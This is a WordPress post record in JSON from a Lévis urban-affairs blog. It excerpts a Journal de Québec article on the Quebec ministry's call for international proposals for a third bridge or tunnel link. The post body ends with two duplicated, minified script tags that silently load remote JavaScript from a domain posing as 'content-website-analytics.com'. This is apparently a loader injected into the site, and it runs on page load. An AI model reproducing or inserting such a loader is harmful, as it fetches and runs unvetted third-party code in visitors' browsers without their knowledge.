{"id":16768,"date":"2024-10-12T16:04:07","date_gmt":"2024-10-12T20:04:07","guid":{"rendered":"https:\/\/www.levisurbain.ca\/?p=16768"},"modified":"2025-11-22T10:00:33","modified_gmt":"2025-11-22T15:00:33","slug":"un-3e-lien-pas-necessairement-a-lest-avec-du-transport-collectif-ou-pas","status":"publish","type":"post","link":"http:\/\/www.levisurbain.ca\/?p=16768","title":{"rendered":"Un 3e lien pas n\u00e9cessairement \u00e0 l\u2019est avec du transport collectif&#8230; ou pas"},"content":{"rendered":"<p>Article de St\u00e9phanie Martin. <a href=\"https:\/\/www.journaldequebec.com\" rel=\"noopener\" target=\"_blank\">Le Journal de Qu\u00e9bec<\/a>.<\/p>\n<blockquote>\n<h2>L\u2019infrastructure pourrait aussi \u00eatre un tunnel<\/h2>\n<p><strong>Le troisi\u00e8me lien pourrait \u00eatre un pont ou un tunnel, inclure le transport collectif ou pas et se situer n\u2019importe o\u00f9 entre le pont de Qu\u00e9bec et la pointe ouest de l\u2019\u00eele d\u2019Orl\u00e9ans, a indiqu\u00e9 le minist\u00e8re des Transports, qui fera appel aux consortiums internationaux pour pr\u00e9ciser son projet.<\/strong> <\/p>\n<p>C\u2019est ce qui ressort d\u2019une s\u00e9ance d\u2019explications techniques tenue vendredi matin par les fonctionnaires du minist\u00e8re des Transports et de la Mobilit\u00e9 durable.<\/p>\n<p>Le Minist\u00e8re lance un appel d\u2019int\u00e9r\u00eat \u00e0 l\u2019international pour r\u00e9aliser son projet de troisi\u00e8me lien. La zone d\u2019intervention, qui inclut le centre-ville, est longue, soit 16 km, entre le pont de Qu\u00e9bec et la pointe ouest de l\u2019\u00eele d\u2019Orl\u00e9ans, o\u00f9 la largeur du fleuve varie entre 600 m\u00e8tres aux ponts et 5 km pr\u00e8s de l\u2019\u00eele.<\/p><\/blockquote>\n<p>=> La suite au <a href=\"https:\/\/www.journaldequebec.com\/2024\/10\/11\/un-3e-lien-pas-necessairement-a-lest\" rel=\"noopener\" target=\"_blank\">journaldequebec.com<\/a>.<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Article de St\u00e9phanie Martin. <a href=\"https:\/\/www.journaldequebec.com\" rel=\"noopener\" target=\"_blank\">Le Journal de Qu\u00e9bec<\/a>.<\/p>\n<blockquote>\n<h2>L\u2019infrastructure pourrait aussi \u00eatre un tunnel<\/h2>\n<p><strong>Le troisi\u00e8me lien pourrait \u00eatre un pont ou un tunnel, inclure le transport collectif ou pas et se situer n\u2019importe o\u00f9 entre le pont de Qu\u00e9bec et la pointe ouest de l\u2019\u00eele d\u2019Orl\u00e9ans, a indiqu\u00e9 le minist\u00e8re des Transports, qui fera appel aux consortiums internationaux pour pr\u00e9ciser son projet.<\/strong> <\/p>\n<p>C\u2019est ce qui ressort d\u2019une s\u00e9ance d\u2019explications techniques tenue vendredi matin par les fonctionnaires du minist\u00e8re des Transports et de la Mobilit\u00e9 durable.<\/p>\n<p>Le Minist\u00e8re lance un appel d\u2019int\u00e9r\u00eat \u00e0 l\u2019international pour r\u00e9aliser son projet de troisi\u00e8me lien. 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